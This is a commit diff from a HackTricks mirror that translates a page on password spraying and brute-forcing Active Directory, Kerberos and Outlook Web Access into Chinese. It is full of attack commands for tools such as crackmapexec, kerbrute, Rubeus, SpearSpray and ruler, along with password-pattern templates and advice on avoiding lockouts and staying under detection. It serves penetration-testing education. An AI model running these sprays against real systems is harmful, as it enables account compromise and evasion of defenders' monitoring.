mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/pass
This commit is contained in:
parent
b3a83f6ece
commit
f92c08e205
@ -1,19 +1,20 @@
|
|||||||
# 密码喷洒 / 暴力破解
|
# Password Spraying / Brute Force
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **密码喷洒**
|
|
||||||
|
|
||||||
一旦你找到了几个 **有效的用户名**,你可以尝试最 **常见的密码**(请记住环境的密码策略)与每个发现的用户。\
|
## **Password Spraying**
|
||||||
默认情况下,**最小** **密码** **长度** 为 **7**。
|
|
||||||
|
|
||||||
常见用户名的列表也可能有用:[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
一旦你找到几个 **valid usernames**,你可以对每个已发现的用户尝试最常见的 **common passwords**(记住环境的 **password policy**)。\
|
||||||
|
按 **default**,**minimum** **password** **length** 为 **7**。
|
||||||
|
|
||||||
请注意,如果你尝试多个错误密码,**可能会锁定某些账户**(默认情况下超过 10 次)。
|
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
### 获取密码策略
|
注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过10次)。
|
||||||
|
|
||||||
如果你有一些用户凭据或作为域用户的 shell,你可以 **获取密码策略**:
|
### 获取 password policy
|
||||||
|
|
||||||
|
如果你有一些用户凭证或以 domain user 身份的 shell,你可以 **get the password policy with**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -30,7 +31,7 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### 从Linux(或所有)进行利用
|
### 从 Linux (或任意平台) 进行利用
|
||||||
|
|
||||||
- 使用 **crackmapexec:**
|
- 使用 **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
@ -46,7 +47,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
# Brute-Force
|
# Brute-Force
|
||||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||||
```
|
```
|
||||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(您可以指示尝试次数以避免锁定):**_
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_
|
||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
@ -68,7 +69,7 @@ done
|
|||||||
```
|
```
|
||||||
#### 从 Windows
|
#### 从 Windows
|
||||||
|
|
||||||
- 使用带有暴力模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
|
- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -76,7 +77,7 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)(它可以默认从域中生成用户,并将从域中获取密码策略,并根据该策略限制尝试次数):
|
- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它默认可以从域中生成用户,并会从域获取密码策略并根据该策略限制尝试次数):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
@ -88,9 +89,74 @@ Invoke-SprayEmptyPassword
|
|||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
|
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
|
Kerberos pre-auth–based spraying 比 SMB/NTLM/LDAP bind attempts 产生的噪声更少,并且更符合 AD lockout policies。SpearSpray 将 LDAP-driven targeting、pattern engine 和 policy awareness(domain policy + PSOs + badPwdCount buffer)结合起来,以更精确且更安全的方式进行喷洒。它还可以在 Neo4j 中标记被攻破的 principals 以便 BloodHound 路径分析。
|
||||||
|
|
||||||
|
Key ideas:
|
||||||
|
- LDAP user discovery 支持 paging 和 LDAPS,可选地使用自定义 LDAP filters。
|
||||||
|
- Domain lockout policy + PSO-aware filtering,保留一个可配置的尝试缓冲(threshold)以避免锁定用户。
|
||||||
|
- Kerberos pre-auth validation 使用快速的 gssapi bindings(在 DCs 上生成 4768/4771,而不是 4625)。
|
||||||
|
- 基于 pattern 的每用户密码生成,使用像名字和从每个用户的 pwdLastSet 派生的时间变量。
|
||||||
|
- 通过线程、jitter 和 max requests per second 控制吞吐量。
|
||||||
|
- 可选的 Neo4j 集成,用于标记已攻破的用户以供 BloodHound 使用。
|
||||||
|
|
||||||
|
Basic usage and discovery:
|
||||||
|
```bash
|
||||||
|
# List available pattern variables
|
||||||
|
spearspray -l
|
||||||
|
|
||||||
|
# Basic run (LDAP bind over TCP/389)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||||
|
|
||||||
|
# LDAPS (TCP/636)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
|
```
|
||||||
|
目标定位与模式控制:
|
||||||
|
```bash
|
||||||
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
|
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
|
||||||
|
|
||||||
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
|
```
|
||||||
|
隐蔽性与安全控制:
|
||||||
|
```bash
|
||||||
|
# Control concurrency, add jitter, and cap request rate
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
|
|
||||||
|
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||||
|
```
|
||||||
|
Neo4j/BloodHound 数据丰富:
|
||||||
|
```bash
|
||||||
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||||
|
```
|
||||||
|
模式系统概述 (patterns.txt):
|
||||||
|
```text
|
||||||
|
# Example templates consuming per-user attributes and temporal context
|
||||||
|
{name}{separator}{year}{suffix}
|
||||||
|
{month_en}{separator}{short_year}{suffix}
|
||||||
|
{season_en}{separator}{year}{suffix}
|
||||||
|
{samaccountname}
|
||||||
|
{extra}{separator}{year}{suffix}
|
||||||
|
```
|
||||||
|
Available variables include:
|
||||||
|
- {name}, {samaccountname}
|
||||||
|
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
|
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
|
Operational notes:
|
||||||
|
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
||||||
|
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||||
|
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||||
|
|
||||||
|
> 提示:SpearSpray’s 默认 LDAP 页面大小为 200;必要时使用 -lps 调整。
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
有多种工具用于**密码喷洒 Outlook**。
|
有多种工具用于 p**assword spraying outlook**。
|
||||||
|
|
||||||
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
- 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||||
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
- 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||||
@ -98,7 +164,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
|||||||
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell)
|
- 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell)
|
||||||
- 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell)
|
- 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell)
|
||||||
|
|
||||||
要使用这些工具中的任何一个,您需要一个用户列表和一个密码/一小部分密码列表进行喷洒。
|
要使用上述任何工具,您需要一个用户列表以及一个密码或一个小的密码列表用于 password spraying。
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -117,8 +183,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
|||||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||||
|
|
||||||
## References
|
## 参考资料
|
||||||
|
|
||||||
|
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||||
|
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||||
|
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
|
||||||
|
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
|
||||||
|
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
||||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user